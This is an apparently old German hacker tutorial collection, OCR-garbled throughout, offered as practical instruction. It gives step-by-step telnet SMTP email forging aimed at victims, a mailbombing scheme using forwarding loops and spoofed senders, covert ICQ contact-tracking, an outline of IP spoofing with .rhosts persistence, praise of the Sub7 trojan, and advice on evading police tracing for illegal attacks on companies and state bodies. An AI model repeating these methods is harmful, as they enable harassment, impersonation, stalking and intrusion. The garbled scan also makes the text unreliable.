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Bener kung:

Ich habe alles selber nur von anderen Tuts gesaugt und werde hier keine
Namen eintragen. Ich nichte ja ni emanden bel ei di gen aber als Hacker sollten
di e Tuts-Schreiber verstandnis haben. Deshalb werde ich nmich nur als
Anonyrus bezei chnen.

Cu Anonynus



Wrklich sicher und anonymist man eigentlich nie...es gibt fast imrer

ei nen Weg (manche davon sind natirlich SEHR aufwendi g) jemanden

zur ickzuverfol gen oder |nformati onen Uber jemanden herauszufinden. Man kann

aber mit einigen sinplen Einstellungen seinen PC RELATIV sicher nachen.

1. Geht in die Einstellungen eures Browsers und stellt AktiveX auf
Ei ngabeauf f orderung und Cooky s konpl ett aus! (was bei de bew rken | est
i hr im Lexikon)

2. Ladet euch eine gute Firewall runter (ATGuard ist zu enpfehlen; gibt es
in der Tool s-Section bei uns)

3. &fne NIE eine Datei die du von einem Frenden bekonmst !

4. G b NE deine richtigen Daten bei Downl oads/ Setups usw. an! Al so wenn
nach dei ner Adresse gefragt wird, gib irgendwas an

5. Nimm fir deine Mail addresse usw. i mer Passwirter wi e "Kre-7104-hn4" und
nie so was w e "Hund" oder "Katze" oder so etwas in die Richtung...warum
i hr das machen sollt kénnt ihr in den Tuts und in den Anleitungen der
Pr ogramme nachl esen.

6. Ver noch ein Stick nehr Sicherheit haben will (wenn es wirklich mal ans
Hacken geht) sollte eine Proxysurfer benutzen. We das funktioniert
steht in der Tuts-Section (oder natirlich wie imer einfach auf das Wrt
klicken...sorry, ich weis das Newie nicht mt dumm gl ei chzusetzen ist)

7. Dar tber hinaus gibt es noch gew sse Regel n die Hacker oder solche die es
wer den wol |t en unbedi ngt beachten sollten (sogenannte Hacker et hi k).

Anonymi zer:
Der Anonynizer filtert Informationen bei mbesuchen einer Wbsite heraus,
nmt denen man eventuell zuruckverfol gt werden kann

Appz_(Appps):
Appz bedeutet soviel wi e Standardapplikation. D ese Bezeichnung wird oft
auf Warez-Pages benut zt.

Attachnent:
Darunter versteht man den Anhang (Bilder, Progs, Trojans...) der mt einer
E- Mai | verschickt wird.

Aut henti fi zi erung:
Wahrend der Authentifizierung wird die lIdentitdt des Benutzers oder des
Servers sichergestellt (z.B. Annel dung bei GWX).

Backdoor s:

Backdoors sind sogenannte Hintertidren, die Progranmi erer meist zum
Aust est en ei nes Progranms ei ngebaut haben, um z.B. nicht jedes ma
sant|iche Passwirter eingeben zu nissen.

BFH:

Brute Force Hacking ist nichts anderes als Passwortraten. Man bekomm auf
di ese Wei se aber nur selten Root-Zugriff auf den Server den nman hacken
will.

Cookys:

Cookys sind kleine Dateien die eine Honmepage auf deiner Festplatte

hi nterl dasst um di ch bei m nachsten besuch der HP sofort zu ldentifizieren
und gl ei ch dei nen Nanen und Passwort in die entsprechenden Fel der eintragt.
(z.B. Bei deinemE-Mil dienst).

Cracker:

Cracker erstellen neist Patches, die Testlimtzeit oder den Passwortschutz
auBBer kraft setzen. Man bezei chnet aber auch jenanden der sinnlos frende
Systenme zerstort als Cracker.



Deni al - of - Servi ce Attacke:
Ei n sol cher Angriff blockiert einen frenden Conputer oder bringt ihn zum
Abst ur z.

Elite:
Si nd Hacker die sich auf ihren Gebi et besonders gut auskennen

Faken:
Faken bedeutet féal schen oder verandern. Wenn dir z.B. erzahlt das T-Online
der Hacker-Provider Nummer eins ist, dann ist das auch ei n Fake.

Firewal | :

Ein Firewal | -Rechner wird zwi schen Server und Online-Zugang installiert und
Uberwacht jeglichen Datenverkehr, der zu bzw. von dem Server geschi ckt

wird. Mt solchen Systenen ist es nmiglich bestimte Internetadressen zu
sperren, bzw. den Zugriff auf dem Server nur bestimten Leuten zu

er nbgl i chen.

Hacker:

Das Ziel eines Hackers ist es sich standig zu verbessern und i mer neue
Si cher hei t sl icken von Programmen und | nternetdi ensten zu erkunden. Er
zerstort nur Daten wenn diese i hmgefédhrlich werden kénnten

Laner:
Lanmer sind ldioten die sich als Hacker ausgeben

Phr eaki ng:
Darunter versteht nman kostenl os oder auf kosten anderer zu tel efonieren
oder zu Surfen.

Port - Scanner:

Ei n Port-Scanner scannt nach offenen Ports imlInternet oder im Netzwerk. Es
gi bt auch wel che, die nach Conputern suchen, die mt einem Trojaner
infiziert worden.

Remai | er:

Mt Hilfe eines Renmailers kannst du anonynme Mails verschicken, die auch
kei ne Provider-Kennung nehr enthalten. Bevor du ein sol ches Programm
benutzt, enpfehle ich dir es vorher an dir selbst zu testen, denn nur
weni ge di eser Programme funktionieren auch richtig.

Root - account :

Bei ei nem Root-account hat man volle Systenprivil egien. Man kann alle Daten
| esen, schreiben und auch | 6schen. All e anderen Accounts haben nur
beschréankten Zugriff auf den Server

Sniffer:

Sni ffer horen den gesant en Datenverkehr der iUbers Mdem oder uber die

Net zwer kkarte | &auft ab. Mt sol chen Progranmen kann nan sehr gut Passwdrter
abhor en

SSL:
SSL ist ein Protokol!l das alle Daten verschl tsselt und daher relativ sicher
i st.

Sub 7:

Sehr guter Trojaner. Leicht zu bedi enen und seht konfortabel. Mt ihm kann
man | ei cht auf andere Rechner zugreifen nachdem nan dort eine Datei rein
geschmuggel t hat.



Tracen:
Tacen bedeutet zurickverfol gen. Zum Bei spiel "Lock in Trace", dass
Fangschal t ungssyst em des FBI.

War ez:

Unter Warez versteht nan Software die gratis zum downl oad angeboten wi rd.

Es ist fur die Betreiber einer Seite sehr leicht an deine Daten zu kommen.
Acht e darauf das du keinen M st nachst sol ange sie deine | P haben! Lies dir
das zu Anonynitat/Proxys durch.

Anonymitat

We faket man eMails mt Tel net?:

Al'so hier mal ein ganz einfaches Beispiel was zu di esem Zeit punkt am
07.11.1999 funktioniert hat. Als erstes nmal startet man Tel net von W ndows.
als erstes mal start - ausfuhren dricken. (erinnert mch irgendw e an
Conputerbild :-) ).

Dann einfach imFeld ,telnet UTMIB. UTM MY 25" ei ngeben.

Nun of fnet sich ein Fenster und da steht denn ein bisschen was. das ist
aber vollig uninteressant. Nun gibst du ,helo gnx.de“ (anstatt gnx.de geht
auch t-online.de oder jede x beliebige)ein.

Nach der Ei ngabe inmer Enter dricken!

danach sagt er ,UMIB.UTM M is ny donmain nane.™ (das variiert zw schen
den Servern).

Jetzt geben wir an von wemdie Mail sein soll.

Du gibst jetzt ein ,mail from<name@-online.de>" (auch hier w eder alles
sel bst auswahl bar) .

Jetzt sagt er K

Jetzt gibst du ein fiur wen die Mail bestimt ist

Lrcpt to:<opfer@dresse. de".

Jet zt kommt erneut die Mel dung OK

So al s nachstes das was in der Miil stehen soll du gibst ein ,data".

Dar auf erscheint die Ml dung

.enter mail body. end by newline with just a .”

das Hei Bt du gibst jetzt ganz normal deinen text ein und wenn du fertig
bi st drickst du Enter, gibst einen ,.™ ein und denn nochmals Enter. Nun
bekomen wir die Meldung: ,mail delivered™ (= Miil gesendet)

tja das war es. bei den hier genannten Server hat es bei mr jedenfalls
gekl appt. Bei anderen weil3 ich nicht. eine liste mt Servern (by
killah.priest) findet ihr auf

nmei ner Page.

ACHTUNG !'!

Solltet ihr einen t-onliner oder so nailen, dann steht in der
Absender| ei ste nichts. das Hei 3t es gi bt dann keinen. wi e nan dieses
Pr obl em ungehen kann erfahrt ihr in nmeiner anderen text-file unter

Ti pp: Schick nie einem Hacker eine gefakte Mail! wenn er denn mal bock hat
racht er sich vielleicht.


http://Nova-Beast.de.st

We faket man eMails bei T-Online oder ACL?:

nehnmen wir nmal an, du nmbchtest jenanden eine gefakte Mail schicken, der

j edoch bei T-Online oder ACQL ist. (bei GW und so funktionierts ja)

z.B lautet die Adresse opfer@-online.de . nun hast du ihn (vielleicht

ei nen kunpel) Uber Tel net eine gefakte Mail geschickt. doch in seiner
Absender| ei ste steht kein Absender drin. Tja schade wo du i hn doch nmal so
richtig verarschen wolltest und die Adresse deines Lehrers dort stehen
sollte. Na gut hier die Ldsung:

I hr holt euch einfach bei GW (vww. gnx.dd) oder Toprmil (ww. topmail.de)

ei ne kostenl ose Email Adresse. Hhmmm schon mi t gedacht ???

also weiter: in den Menls kann nman festl egen, das die ankomenden Mails an
eine bestimte Adresse weitergeleitet werden sollen. Du gibst einfach die
Adresse deines Opfers an und schickst die gefakte Mail Ulber Telnet an die
Adresse von GW oder Topnmil. der von t-online bekomt nun die
weitergeleitete Mail und hat somit den gefakten Absender zu stehen. Noch
einmal in der Kurzfassung: -kostenlose Enail bei GWX oder Topnail besorgen
-in den Menus auf weiterleiten an: die Adresse deines Opfers angeben -lber
Tel net die gefakte Mail an dein Opfer lUber GWX senden das ist doch gar

ni cht so schwer oder?

ACHTUNG !'!

Wenn euer Opfer etwas Ahnung hat, dann guckt er in den Header der Ml und
kann dort die GWX Adresse sehen von der die Mail weitergeleitet wrde. Al so
Vor si cht !

Anonym sur f en:

Al so dieser text wird euch beschrei ben wie nman anonyner imlnternet surfen
kann. Auf nmanchen Seiten wird man regel recht ausspioniert. umdas zu
ver hi ndern bzw. denen das etwas schwerer zu machen gi bt es nehrere
Mogl i chkeiten. Di ese Beschrei bung bezieht sich auf den Netscape

Conmuni cator 4.x, da wir ja nienals auf die |Idee kdnen den Internet

Expl orer zu benutzen :-)

Al's erstes sollte man di e Cookies, Java u. Javascript deaktivieren
Bearbeiten -> Einstellungen... | Erweitert :Cookies, Java u. Javascri pt
deakti vi eren

man i st aber noch | ange nicht sicher!
Al's néachstes besorgt man sich Junkbuster von irgendei ner Page.
vielleicht hab ich es wahrend du das |iest das schon auf neiner Page

www. Nova- Beast . de. st wenn nicht dann schau mal auf der Junkbuster Page

vorbei (Www.internet.]unkbuster.co) so nehnen wir an du hast das Programm
j et zt ent packt.

Jet zt nmuss man ein paar Einstellungen bei m Conmuni cator &ndern
- Bearbeiten | Einstellungen... | Erweitert | Proxies
- da auf "Manuell e Proxy-Konfiguration klicken
- dann auf den Button daneben ("Anzei gen")
- neben "http" und "Sicherheit" gibst du dann "Local host" ein (ohne "")
- beimPort jeweils "8000" eingeben (auch ohne "")

bevor du dich einwahl st bzw. den Netscape startest nusst du junkbstr.exe
starten! So das war es eigentlich auch schon! nmehr nicht! jetzt seit ihr
zum ndest etwas sicherer im Netz. um herauszufinden ob das nun auch

das erste mal ohne diese Einstellungen und das zweite nal mit den
Ei nstel l ungen und Junkbuster. Dir niisste jetzt was aufgefallen sein..


http://www.gmx.de
http://www.Nova-Beast.de.st
http://www.internet.junkbuster.com
http://www.anonymizer.com/snoop.cgi

Wenn man sich ins Internet einwdhlt erhalt jeder Surfer eine |IP Adresse.
di ese kann etwa so aussehen: 123.521.23.12

Sei ne eigene | P Nunmmer kann man wie fol gt herausfinden: START- AUSFUHREN-
"W NI PCFG' ei ngeben (ohne"").

Es gi bt verschi edene Miglichkeiten I P Nunmern herauszufinden. zum Bei spi el
Uber eine Email. Mann schaut einfach in den Header. wenn du jetzt z.B. den
Net scape Messanger verwendest kannst du den Header w e fol gt ansehen
ANSI| CHT- KOPFZEI LEN- ALLE
Das niisste etwa so aussehen
- Received: (from sntpuser @ ocal host) by econophone. ch
(8.9.1b+Sun/8.9.1) id SAA17454 for <benny@conophone.de>;, Sat, 29 Jan
2000 18:25:30 +0100 ( MET)
- Received: fromnmailout02.sul.t-online.de(194.25.134.17) via SMIP by
econophone. ch, id snt pdAAAgYaWel ; Sat Jan 29 17:25:26 2000
- Received: from fwd00.sul.t-online.de by nmailout02.sul.t-online.de
with sntp id 12Ebcj-0001tL-07; Sat, 29 Jan 2000 18:25:25 +0100
- Received: from (32006289364-0002@ 62. 158.87.130]) by fwd00. sul .t-
online.de with sntp id 12Ebcj-1fdnroC, Sat, 29 Jan 2000 18: 25: 25
+0100
- Von: Faust.Full @-online.de (AQ
- An: benny@conophone. de
- Betreff: scheil
- X-Mailer: T-Online eMail 2.3
- MME-Version: 1.0
- Content-Type: text/plain; charset=lSO 8859-1
- Content-Transfer-Encoding: 8BIT
- Datum Sat, 29 Jan 2000 18:25:25 +0100
- Nachrichten-1D: <12Ebcj - 1f dnt oC@ wd00. sul . t-onl i ne. de>
- X-Sender: 32006289364-0002@-di al i n. net
- X-Mozilla-Status: 8003
- X-Mzilla-Status2: 00000000
- X-UDL: 646d822d2c9f 5de91571bebec9c699d2

So hi er kdnnen wir erkennen, das der Miiler Faust.Full @-online.de ist.
Seine T-Online Numrer ware: 32006289364- 0002.

AuRBer dem sehen wir das der Mailer das Mil progranmvon T-Online benutzt.
(Mozil | a=Net scape Messenger - M crosoft CQutl ook Express=M crosoft CQutl ook
Express). Bei alteren T-Online Kunden ist die t-online-numrer auch

gl eichzeitig die Tel ef onnumer.

So und die IP Numrer ware jetzt also 62.158.87.130

Di ese ist aber schon bei der néchsten Ei nwahl anders. neistens &andern sich
all erdings nur die |letzten beiden zahlen, so das wenn er mt einem Trojaner
infiziert ist man nur noch die altere IP eingeben brauch und dann
sbscannen. Ot hat man schnell sein Opfer "w edergefunden". Tja also wie
kann man seine I P Nummrer verstecken? Nehnen wir an du nbchtest al so

j emanden ne anonyne Mail schicken und der soll aber die |IP Numrer nicht

| esen kdnnen. aber du mbchtest eine antwort.

Die Losung ist ein: anonynmer Renmiler ein guter ist m xer@owhere.to

di ese Emai|l Addy geben wir also als Enpfénger ein. Den betreff kannst du
di r aussuchen und dann aber niissen die ersten Zeilen der Enmil fol gendes
ent hal t en:

Request - Rerai | i ng- To: Opf er @ al knet . de
--- leerzeile ---
hi er dann den nornmal en text schreiben..



Der Enpféanger kann dir sogar zurickschrei ben, kann jedoch nicht feststellen
wer du bist oder woher du komst denn alle unwesentlichen Daten wurden

gel 6scht. Nachteil: es dauert ein paar Mnuten bis die Mail ihr ziel

errei cht hat.

so wenn du deine | P auch wdhrend des Surfens oder Chatten verstecken
mbcht est dann gi bt es | P-Spoofer dafir. Runterladen kannst du dir wel che

Proxy- Server. Man braucht aber nicht unbedi ngt das Progranm Junkbuster

daf ir. einfach (ich gehe wi eder vom Net scape Communi cat or aus) auf

BEARBEI TEN- EI NSTELLUNGEN- ERVEI TERT- PROXI ES- AUTOVATI SCHE PROXY

KONFI GURATI ON. Da gi bst du denn im Feld di e Adresse eines Proxy Servers an
z. B. bl ue. ponpano. de: 8080 oder s2.optonline.net: 8080 oder aber

cache0l. pathcom com 8080 so nun solltest du w eder etwas schl auer sein was
die Anonymitat i mweb angeht.

| CQ User adden, ohne deren w ssen

H er geht es um das berihnte Chat Programm: 1CQ!!

I hr habt euch sicherlich schon gefragt wie man tber | CQ User Added, ohne
dessen Erl aubnis. I mgroBen WAV exisitieren einige Crackz, die (fast) alle
funktionieren und i hren Dienst tun. Leider haben sie doch alle ein Problem
Nehrmen wir mal an, ihr Patcht euer 1CQ nit einemdieser Crackz und added

j emanden zu eurer Kontakt Liste. Ja, und wo bleibt der Haken werdet i hr
euch jetzt sicher fragen. Der Haken ist ganz einfach: Denjenigen, den ihr
geadded habt, teilt ihr (ob ihr wollt oder nicht) eine kurze System Message
mt, die besagt, das ihr ihn zu eurer Liste hinzugefigt habe. Na, ihr w sst
jetzt schon was an der Sache scheiBe ist ??? Okay, um dem Abhilfe zu
schaffen, das er nicht mthbhekomt, das ihr ihn geadded habt, habe ich hier
di eses Tutorial geschaffen :-) Die Losung des Problens ist ganz einfach
Downl oaded euch zuerst einen dieser Crackz, deaktiviert 1CQ patcht |ICQ und
versucht einen User zu adden ohne ihn um Erlaubnis zu fragen. Sollte dies
erfol grei ch geschehen, geht es nun hier weiter. Sucht nach der U N dber |1CQ
die Person, die ihr hinzufigen wollt. Sobald I CQ eure Anfrage positiv
bestatigt, nmarkiert den Nanmen der Person, indemihr einfach auf den Nanen
klickt. Und nun HALT !!! Klickt auf keinen Fall weiter oder so einen
Schrott. Nun trennt ihr eure Verbindung zumlInternet. Sollte dies

erfol greich geschehen sein, klickt nun auf "Next". Di e daraus enstandene
Fol ge ist sinpel. ICQ bonbt euch nun mt Fehl ernel dungen zu, die besagen
das kei ne Nachricht gesendet werden konnte und so einen Mill. Aber daran
werden wir uns jetzt nicht stdéren. Nach dem Best ati gen der Fehl ernel dungen
konnen wir erfol greich unser Ergebnis der Aktion sehen... Wr haben die
gewinschte Person auf unserer Contact-List, und zwar, ohne das die etwas
davon m tbekommt. Um sicher zu gehen, startet den Rechner erneut, verbi ndet
euch dann wi eder nmit demlInternet. Nun kénnt ihr in vollen Zigen
beobacht en, wann die Person online ist, ohne das sie etwas davon nerkt.
Nett, oder ?7??


http://www.Nova-Beast.de.st
http://besu.ch/nova-beast

Mai | s unter Linux faken:

D e Fakenails funken 100% und absol ut Anonym unter Li nux!
Man nuss als erstes ins Term nal gehn und dann gi bt man ein:

t el net

open | ocal host 25

mai | from xxx (hier gibt man irgend ein Pseudonym an)
rcpt to:xxx (hier kommt die Email Addi des Opfers hin)
data

Und jetzt gibt man den Text ein, zum Fertigstellen macht nman ei nen
Danach nur noch "Quit" eingeben und fertig!

Di ese Mail sollte eigentlich schon sehr anonym sein, es wird als Host nur
| ocal host und so angezei gt!

Emai | Bonben:

Heute fuhre ich Euch in eine neue D nension des SMPT-Fl oodens (nail bomnbi ng)
ein. lIch habe sie entwickelt, da ich es bldéd fand bei m Mai | bonben di e ganze
Zeit online zu sein. An sich ist die Methode relativ einfach, deshalb
wundert's m ch auch das sie noch niemand entdeckt und publiziert hat (war
nmr zum ndest nicht bekannt). Jedenfalls find ich es cool, das ich durch

di ese neue Techni k dazu beitragen kann, die Hack-Kultur zu stéarken :-) Sie
wurde von mir auf den Nanen "Magic Mail Systen! [ MVB] getauft

I hr duarft sie natirlich alle verwenden (und etwas abwandel n), wenn | hr das
Copyright (das ich sie entwickelt hab ...) mt dUbernehnt. (!) Wenn |hr das
Copyright nicht mt UGbernehnt oder verandert, dann legt | hr euch nmt den
Virtual Net Hackerz an (!)

Mel det euch bei 2 verschi edenen Webpostfach- Anbietern mt der Mglichkeit
der Email Weiterleitung gefaked an. Es wdre nicht schlecht, wenn eines

di eser Postfacher einen Auto-Re-Sponder hatte...(besser gesagt, eins davon
muss ei nen Aut o- Re- Sponder haben ! (Web.de ist nicht so gut, da nan dort

ei nen Aktivator-Key nuf3, der per Post gesendet wird - ihr also eure echten
Dat en angeben misstet)

Jetzt, nach demihr euch da angenel det habt misst ihr bei Postfach eins
ei ne permanente Weiterleitung zu Postfach 2 herstellen. Bei Postfach 2
stellt ihr eine permanente Witerleitung zu Postfach 1 her. Dadurch
entsteht ein Mail-Loop (Mailschleife). Das ist ja nun ganz schdn und gut,
aber was nun ? Bei dem einen Postfach nmit Auto-Re-Sponder Funktion
aktiviert Ihr die halt und gebt einen Text (!) nmit neinem Copyright und
Nanen der Methode (!) ein.

Da es eine Miilschlaufe ist wird diese Mail imrer und i nmer wi eder (bis der
Account gesperrt wird) bei dem Gstfachern eintreffen. Al so auch beimmnit
Aut o- Re- Sponder. Wenn jenand z.B. per Qutlook & Co eine Mail an eines der
bei den Postféacher sendet, dann wird er durch di e ganzen Auto- Re- Sponders
zugebonbt *g*

We kann man das jetzt aber nutzen um jenanden zu zubonben ?

Na ganz einfach : Man spooft eine Enmil via Telnet und gi bt als angeblichen
Absender di e Adresse der Person, die zugebonbt werden soll ein. Das ganze
kann man mit nehreren Personen nachen, falls nman das Spoofen nit Tel net

ni cht beherrscht kann man ja auch ei nen Anonynous- Mail er nehnmen. (!)
Achtung : Man sollte sich tUber IBC (Internet by Call) oder nen Fake

ei nwahl en, da durchdas SMIProtokoll ja deine IP (Internet Protocoll)
Adresse mitgesendet wird.



Wirin liegen die Vorteil e gegentuber des 'normal en' SMIP-Fl oodens ?

1. Beim"Magic Mail System? mufl man nicht die ganze Zeit online sein
wahrend man bonbt (spart Zeit+Geld).

2. Man kann mehrere Personen zugl ei ch bonben. (bei vielen Milbonbern
ni cht noglich, sel bst wenn noglich ware di e Geschw ndi gkeit vi el
ni edri ger)

3. Es geht oft schneller als die herkénmm i che Methode.

4. Dadurch das es bonbt bis ein Account gesperrt ist konmen bei denin
Enpf énger/n viel, viel mehr Mails an, asl wenn man z.B. einmal jenanden
3 Stunden zubonbt.

Wenn es mal nicht funtzt(was wahrscheinlich ist), dann schaltet einfach
noch 2 Server/Accounts zw schen, dann kl appt es so gut wie inmrer!!!

100% ge Anonynit at:

-Vorwort -

Di eses Tutor enthalt nicht die Ublichen, wenig nitzenden Ti pps, w e Junkbuster etc.
benut zen. Es geht hierbei um 100% ge Anonynit &t!

Jetzt werden wahrscheinlich viele Leute "Das ist doch unnmiglich: Nach Einstein ist
ALLES RELATIV!'" schrei ben. Doch wenn nman etwas Hirn hat sind die 100% | eicht zu
erei chen! Die heutige Polizei- und "schnuffel/trace-" Techni ken sind Lickenhaft.
Man mu3 es also "nur" schaffen sich in den Licken zu bewegen!

- Anonyni t at -

Jo, du brauchst:

- 1ne Prepaid Karte (enpfehe EplusFree' n' Easy - weil relativ billig)

- 1 - 3 Aufl adekarten (bei Eplus Free'n' Easy heissen die Free & Easy Cash)
- 1 Handy, nmit einem PC(Mden) - Adapt er

- 1 Laptop mit Mdem

- Software, fur deinen Zweck

I hr solltet das Handy/den Adapter/die PrePaid Card in einementfernteren Laden
kaufen. Er sollte m ndestens 5 kmvon eurem Whnort entfernt sein.

Nun erst mal das Handy mit der/den PrePaid-Card(s) aufladen, damt du genug Money
drauf hast.

Ich erkl are euch zunéchst w eso es unbedingt ein Handy mt PrePaid Karte sein nuss:
Wenn man sich eine PrePaid Karte holt, braucht nman seine Daten nicht angeben! Al so
kénnen di e Bullen nur (wenn sie das Uberhaupt nachen) dei ne Ruf nunmer und dei nen
ungenauen Standort durch's Tracen ernitteln.

Di eser "StandortTrace" ist auf einem Unkreis von 500-1000 m genau.

So, du féahrst mt Bus/Bahn etc in eine groBBe Stadt, sofern Du in keiner lebst. Sie
sollte Uber 1 mio. Ei nwohner haben, da dort nehrere Leute mit Handy tel ef oni eren
und vor allemsehr viele Leute in dem Unkreis "l eben/arbeiten/etc". Dadurch kénnen
die Bullen dich sogut wie nicht ausfindig machen. (Falls Sie das Uberhaupt tuen
wer den wahrend du dort bist-sehr unwahrscheinlich [das Tracen war geneint] ) Falls
Du in einer solchen GrofRstadt | ebst, solltest du m ndestens 1,5 km von dei ner
Wohnung

aus weggefahren sein umdich sicher zu fuhlen!

Nun wéhl st du di ch tUber einen IBC Prvider ein !

(nur ein Bl ddmann wirde Uber seinen Vertrags-1SP rei ngehen)

(Annerkung: IBC=Internet by Call [z.B. Mgelcon] - |SP=Internet Service Provider
[z.B. T-Online] ) Weso IBC? Bei |IBC unterschreibt man keinen Vertrag etc., es wird
alles nmt der Tel efonrechnung bezahlt.

Di e Rechnung erhédlt nman per Post, da du aber (ber ein prePaid Handy rei ngehst-haben
sie die Adresse nicht Es ist nicht so, das du nix bezahl en nisstest , die werden

nmei st Uber dein PrePaid... abgerechnet.

Fazit: Ni emand kennt deine Daten und du kannst machen was du wll st.

Es | ohnt sich aber nicht zum "normal en Surfen", sondern nur fir besonders illegale
Hackz! (besonders illegale Hackz sind z.B. Firnen, Staatsorgane etc. angreifen

- Xoom FTP Hacki ng gehért nicht grad dazu)
- Schl usswort -
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Ein weiteres Tut von nmir ist schei nbar am Ende, aber einen Tipp habe ich noch fir
euch: Die Bullen werden wahrscheinlich die LOG Filez der Server, die ihr genutzt
habt angucken und eure | P herausfinden. Dann geben Sie die |IP und Unhrzeit dem
Provi der, der ihnen helfen soll. Ein | SP wirde i hnen dei ne Adresse etc. geben. Ein
I BC Provider hat nur die Tel enunmer (Handynummer in diesemFall). Da es ein

PrePai d- Card Handy ist hat auch nicht der Netzbetreiber Info's tber dich. Nun

wer den die Bullen versuchen dein Handy abzuhéren... Also, wirfst du einfach die
PrePai d- Si mcard weg und bist 100% g Anonymim Netz gewesen. Bei m nachsten Hack,

ei nfach ne neue PrePaid Card (die weist die Handy-Nunmmrer zu) kaufen und den Text
noch mal durchlesen ;-)

SPOOFI NG ATTACKEN | P- SPOCFI NG

Spoofi ng bedeutet, dass man ei nem System ei ne fal sche I P vortéauscht um so
in das Systemund zu konmen. Auf diese Wi se kann man auch sichere
Firewal | s durchdringen. Allerdings braucht man ein bestimmtes w ssen um so
ei ne Attacke durchzufihren, z.B. uber TCP/IP:

-IP-: IP leitet die Datenpakete von dem einen System zum anderen und i st
nur fdr den Pakettransport zustandig. |IP nimt keine Uberprifungen an den
Daten vor - sie konnten al so beschadi gt sein.

-TCP-: TCP dagegen Uberprift, bestéatigt und verarbeitet die Pakete. Es wird
dem Sender mitgeteilt ob alles korrekt und vollstandi g angekomen i st.
Werden z.B. 10 Dat enpakete verschickt konmen sie dann auch in dieser

Rei henf ol ge bei m Enpf anger an. Aufllerdem bekommt j edes Paket noch seine

ei gene Nummrer, die vom Sender und vom Enpfanger zur Berichterstattung und
zur Fehl ermel dung verwendet wird.

Wenn man jetzt in ein Systemw Il nuss man i hmnicht nur eine bestimte IP
vortauschen, sondern auch korrekt mt ihm'komrunizieren' . Das Ziel system

| egt ei ne Anfangssequenznumrer fest und der Angreifer nuss darauf richtig

antworten. Das macht die Sacher dann ganz schén konpliziert.

Um nun ei ne Spoofing Attacke durchzufihren nmuss man wi ssen zw schen wel chen
Systenen ein 'Vertrauensbezi ehung' besteht. Vertrauensbezi ehung bedeutet,
dass die zwei Rechner autorisiert sind sich zu verbinden. Vertrauen sich
zwei Systene, wird die Richtigkeit von Verbindungen nicht streng Uberprift.
Man kann sich z.B. mt 'rlogin' mt einemanderen Rechner verbi nden. Dabei
wird nam ich kein Passwort abgefragt, sondern man hat sofort zugriff. Das

i st so wi e eine Tel netverbi ndung ohne Passwortabfrage, weil sich die beiden
Rechner ja vertrauen

Dann nuss man fol gende Schritte durchfihren
- Man nuss das System ausschalten fir das nman sich ausgi bt
- Dann nuss nman di e Adresse des systens vortauschen
- anschlieRend verbindet man sich mt dem System wobei man sich als
das | ahngel egt e system ausgi bt
- zuletzt nuss man 'nur noch' die richtige Sequenznumrer erraten die
das Ziel verlangt, wobei das wohl der schwierigste teil ist

Doch auch di eses Probl em kann man | ésen in dem man das Zielsystemnit der
fal schen | P-Adresse kontaktiert und eine Verbindung anfordert. Das Ziel
sendet nun ein Rei he von Sequenznumern an das andere System Man nuss sich
di e Sequenznunmern am best en auf schrei ben, danach kann nman di e Ver bi ndung
trennen. Aus di ese Sequenznummern nuss man nun ei nen Al gorithnus
herausfinden, der zur Authentifizierung dient. Hat nan das geschafft kann
man ei ne Spoofing Attacke durchfihren. Hat nman sich eingeloggt ist es am
besten die Datei. Rhosts, die auch fiar 'rlogin' zustandig ist zu andern, so
dass man spater ganz einfach in das Z el systemreinkommt. Es gi bt ahlreiche
Spoofing Software die fidr Linux und Unix geschrieben wurde, man nuss sie
nur finden!
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Andern des Host nanens:

Fangen wir doch nal fir die nicht so fortgeschrittenen User an: Ich wll
ins Netz, wie funktioniert das?

-lch wéhl e mch ein <decoder, oder dfiu>. Ich wahle al so ei ne Tel ef onnumer,
das ist dann al so die Numer fur den Host deines Providers, der dich ins
Net z bef 6rdert und dann geht's zum Backbone. .

Wenn ich nun aber irgendwel che "verbotenen" Sachen treibe, ist es neist
sehr hilfreich, so anonymw e niiglich zu sein. ;) Seine |IP bekomt man
(wenn sie dynami sch ist) in der Regel bei jedemLogin ins Netz vom

Provi der-Host, es ist also jedes nmal eine andere. Diese kann man ja
probl em os andern (fir die Lamer unter euch, versucht nal einen anonymner
Di enst).

Jetzt zum Host-Renani ng: man wahlt sich nit Telnet in einen Host ein, der
die dev. op. node unterstitzt (hehe, es wird bei mLogon angezei gt, ob der
Host di esen Dienst unterstitzt). Nun einfach nal diese Option wahlen. Dies
funzt meistens dber .i . Jetzt &andert ihr eure Hostadresse. Al so einfach
al s User einwdhl en! Jetzt bekonmt ihr eine vollig neue lIdentitat! Mn
sollte sich imdudbrigen als Anoynous einloggen ;), sonst ist deine Adresse
ja wi eder bekannt. Allerdings nuss man Tel net gestartet |assen und bei m
Host ei ngel oggt bl ei ben, sol ange man i m Netz anonym bl eiben will. Fur alle
Qoer | aner: es beschweren sich alle, denen ich das hier erklart habe, dass
sie nach ein paar M nuten w eder raul3geschm ssen werden, man sollte daher
so klug sein und ein biBRchen pingen. :) Und nun habt ihr eine neue
Identitat!!! Eure Up- Downstreanrate wird nicht leiden. ;)

Pr oxy- Server:

Ei nf iihrung Uber set zungen der wi chtigen Wrter

pr oxy ---> = voll macht, bzw. bevoll nmachtigung

server ---> = di enstprogramm bzw. diener

anonynmous ---> = anonym

i sp ---> (internet service provider) = internetanbieter

ip ---> = internet protokol

Wer von euch will denn nicht anonymins |Internet gehen? viele denken wenn
sie Uber einen call by call provider sich einwdhl en bei dem kei ne

Regi stration notwendig ist, anonymsurfen und sonit imnetzt illegale

Sachen machen kdnnen, ohne ermittelt zu werden. sie haben zwar nicht deinen
Namen wel chen man bei andren Anbi etern bei der Registration angeben nuss.
aber sie wissen an wel che Tel ef onnumrer zu der bestimmten zeit die
bestimte | P Adresse vergeben worden ist. Und dann kdnnen sie Uber deine
Tel ef ongesel | schaft den Nanmen der Person herausbekomren auf den die

Tel ef onnunmrer angenel det i st.

Funktion ei nes Proxyserver

Und das sollte natirlich nicht passieren, deshalb ist es sehr nitzlich Uber
ei nen proxy server ins Internet zu gehen

Proxyserver sind Server die zur beschl euni gung des Internet eingesetzt
werden, man kann sie aber auch nutzen um anonym zu bl ei ben

Ei nstel l ungen i m Browser:

Wenn i hr den Internet Explorer benutzt dann geht auf

extras-->i nternetopti onen--->verbi ndungen

dort wahlt ihr den Zugang aus nmit demihr euch ei nwahlen wollt. dann wi der
auf ---> einstellungen dort klickt ihr auf Proxyserver verwenden und gebt
die I P des Servers und den Port des Servers ein. Und schon bildet der Proxy
Server einen Puffer zw schen dei nem PC und dem Opfer PC. aber besser
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verwendet man ein Progranm wel che di e Proxyserver auf ihre Anonynmitéat
